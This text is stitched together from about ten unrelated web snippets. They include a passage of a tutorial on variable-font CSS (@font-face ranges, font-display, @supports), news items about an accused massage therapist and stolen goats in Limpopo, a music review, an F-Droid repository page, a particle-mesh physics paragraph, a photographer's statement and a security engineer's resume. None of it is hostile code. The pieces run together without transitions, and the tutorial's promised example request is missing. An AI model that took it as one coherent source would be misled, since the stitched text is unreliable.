Next you’ll notice that there are lines that show ranges for font-stretch, font-style, and font-weight. These help inform the browser how the font should behave and provides some indication about what CSS values are valid for that font.
This is supplied as two percentage values: first low, then high. There will be some fonts that have ranges that don’t conform to the specification (which calls for 100% to be the ‘normal’ width), but even if the range is 3-5 or 60-220, they still have to be expressed as percentages here.
font-stretch: [low]% [high]%;
At this time, for variable fonts this should only be specified in two scenarios: if you are loading a font file that only contains italics (such as when loading upright and italic font files and grouping them with the same family name), or if your variable font contains a slant axis but no italic one.
If you are loading an italic-only font file:
font-style: italic;
If you’re loading a font file with a slant axis, you have to specify the low and high degree values:
font-style: oblique 0deg 10deg;
Note: Due to some inconsistencies with how browsers handle variable font files that contain both italic and upright variants (and also ones that contain both italic and slant axes), in these scenarios it’s best to omit the font-style line completely.
This is also supplied as low and high values:
font-weight: 100 1000;
Font-display is not required, but is good practice to supply in order to get content on screen as fast as possible.
It’s important to supply these values so the browser can make more intelligent decisions about how to render the font when the CSS values fall outside the range or are omitted entirely. Should the low-end value for font-weight be 300 but the CSS calls for font-weight: 100, the browser will know to clamp to the lowest valid number (in this case 300), avoiding a synthesized result.
Once you have the @font-face rules declared, you can go about specifying the font-family and attributes just as you would if you were using the API or any other method of loading the fonts.
In order to support the broadest set of browsers and devices, it’s important to set up your CSS with standard values first, and the variable styles within an @supports block. If you’re using the Google Fonts API, the good news is the API is smart enough to supply the static font files if the browser doesn’t support variable ones—so all you have to do is manage the CSS side of the equation. If you’re hosting the fonts yourself, you simply have to add in a reference to the variable font family inside the @supports block as well. It might look something like this:
p {
font-synthesis: none;
font-weight: normal;
}
strong {
font-synthesis: none;
font-weight: bold;
}
@supports (font-variation-settings: normal) {
p {
font-weight: 350;
}
strong {
font-weight: 575;
}
}
By adding in the font-synthesis: none
declaration, you ensure that browsers like Safari or Firefox won’t artificially bold or italicize the typeface, which can lead to unexpected and less-than-ideal results.
Whether serving the fonts yourself or using the Google Fonts service, there are steps you can take to guarantee the best possible performance on your site. It helps to understand a bit about the loading and rendering process. The basic flow goes something like this:
Ideally, the fonts load quickly and the page is rendered correctly the first time—but often that’s not the case, which brings us to the next scenario. The phenomenon of text being rendered in the fallback fonts and then rerendering with the proper ones is known as a Flash of Unstyled Text (FOUT).
Given that the purpose of any site is generally to deliver content, FOUT should be preferred, and indeed hastened if possible. Introducing a delay of at least 3 seconds greatly increases the chances of users abandoning the process altogether and going elsewhere. The W3C actually introduced the ability to tell the browser how to behave in this scenario, and the Google Fonts service and API now support it too.
This comes in the form of an attribute called font-display
. By providing a value of swap
, we tell the browser to render the page right away with fallback fonts, and then redraw the page once the fonts have loaded. However, this is only part of the solution. The next step is to include a web font loader that will help provide the ability to style the fallback fonts during the loading process, thereby minimizing any reflow of content once the browser rerenders the page when the web fonts arrive. This requires some Javascript, but is a really worthwhile enhancement of the user experience.
The first part of this solution is easy: simply append &display=swap
to the API request. One of the requests above for Crimson Pro would then look like this:
<EMAIL_ADDRESS>You can learn more about what font-display
does and what options it affords on the W3C specifications page and on the MDN Web Docs site.
To take your solution further, take a look at Bram Stein’s FontFaceObserver from Bram Stein, or read more about font-loading performance in general in this post by Zach Leatherman.


Authorities seeking additional victims of East LA massage therapist accused of sexual misconduct
EAST LOS ANGELES (KABC) -- Authorities are seeking the public's help in identifying additional possible victims of a former East Los Angeles massage therapist accused of sexual misconduct.
Antoine Flores Rosas, 30, was arrested on suspicion of sexual assault while working at a wellness center, according to the Los Angeles County Sheriff's Department.
Additional details surrounding the alleged misconduct were not immediately available but the case is currently under investigation.
Anyone with information or who may have been a victim are being asked to contact the Special Victim's Bureau 24-hour Tipline at 877-71-5273. If you would like to remain anonymous you can do so by calling the Crime Stoppers line at 800-222-TIPS (8477).


Asian Doll Delivers Hard-Hitting Banger "Stank Walk"
Asian Doll is back with another new song.
by Aron A.Stank Walk
Asian Doll
Editor Rating: HOTTTTT
User Rating: make it stop - 8% (3)
Asian Doll has always shown signs of having a promising career and had the backing to do so. She signed to Gucci Mane's 1017 Eskimo and built a strong following online. This year, it felt like she lost a bit of momentum. That's about to change very soon as she's readying the release of a brand new project titled, UFC.  Over a jittery, 808-heavy beat, Asian Doll flexes her technical abilities while flexing on everybody in the game.
It's nice to hear Asian Doll back in the fold with her new song. Keep your eyes peeled for UFC dropping on November 13th.


Please be careful with changing these settings.
When running your own node, you can use your IP/domain here to connect to it by default. This needs to be available via SSL (HTTPS) to work with this wallet.


Miso is an open source toolkit designed to expedite the creation of high-quality interactive storytelling and data visualisation content. Learn more.
In this example we create a basic circle chart and then extend it to add labels above the circles showing their exact value.
In this example we create a basic circle chart and then extend it to add labels above the circles showing their exact value.


This is our
F-Droid app repository for the official,
trusted builds of our apps. There are three ways to access
this repo, via an HTTPS connection to our main site, via a
Tor Hidden Service, or via an Amazon AWS S3 "Bucket":
If you would like to manually verify the fingerprint (SHA-256)
of the repository signing key, here it is:
B7 C2 EE FD 8D AC 78 06 AF 67 DF CD 92 EB 18 12 6B C0 83 12 A7 F2 D6 F3 86 2E 46 01 3C 7A 61 35


Particle-mesh (PM) method was invented in the 1950’s at LANL for simulation of compressible ﬂuid ﬂows. The ﬁrst wide-spread application was for collisionless plasma simulation, for which particle-mesh method was reinvented in the 1960’s and called particle in cell methods. These methods later also obtained popularity in cosmology simulations.


Limpopo police rescue 'stolen' goats stashed in car boot
by Nicole McCainWhen Limpopo police popped on the trunk of a vehicle, in which the drivers were behaving suspiciously, the were greeted by not just one, but nine goats.
The goats had been crammed into the boot of a Nissan Sentra in what police believe was a case of livestock theft.
On Saturday morning, police officers in Gilead outside Mahwelereng were on patrol when they spotted the vehicle. They pursued the suspects, who left the vehicle and fled on foot.
“Upon further investigations nine goats were found stashed inside the boot,” confirmed police spokesperson Brigadier Motlafela Mojapelo.
READ: Former Crime Intelligence commander convicted of stealing 16 sheep, nine goats
Police suspect the goats were stolen from Hlogo ya Nku and Seirapies villages.
“The Police in [the Limpopo province] are determined to put a stop in the illegal trading of livestock and the illicit market of selling meat from stock thieves. The stock owners of these recovered goats are unknown at this stage. The goats were impounded at the Mokopane SPCA. Members of the community who have missing livestock are advised to go to Mokopane for identification and should be in possession of proper documentation,” Mojapelo adds.
The case is still under investigation.


To me, photography is about documenting everyday life and society on the streets. In essence, the reason I've always been drawn to photography is because of its nature to be dependent on chance. Through photography I am able to capture life's moments as they swirl around me.
“Above all, I craved to seize the whole essence, in the confines of one single photograph, of some situation that was in the process of unrolling itself before my eyes.”


Experience
Recent Experience
- Director of Cybersecurity, Careful Security (May 2023 - current)
- Lead Full Stack Engineer, Finity Communications (May 2021 - Feb 2023)
- Senior Engineering Manager, ThinkMammoth (Jan 2020 - Feb 2021)
- Technical Lead, Applyweb Self Service, CollegeNET (Oct 2017 - Jan 2020)
- Security Engineer, Summit Security Group (Nov 2016 - Jun 2017)
- Application Security Researcher, Rapid7 (Dec 2015 - Sep 2016)
- Engineering Security Team Lead, Webtrends (May 2013 - Dec 2015)
- ** Additional experience available upon request
Full Resume here
Education
- MSc of Computational Geo Ecology, University of Amsterdam (2007-2008) (unfinished)
- BSc in Computer Science, Minor in Math, Westminster College (2000 - 2002)


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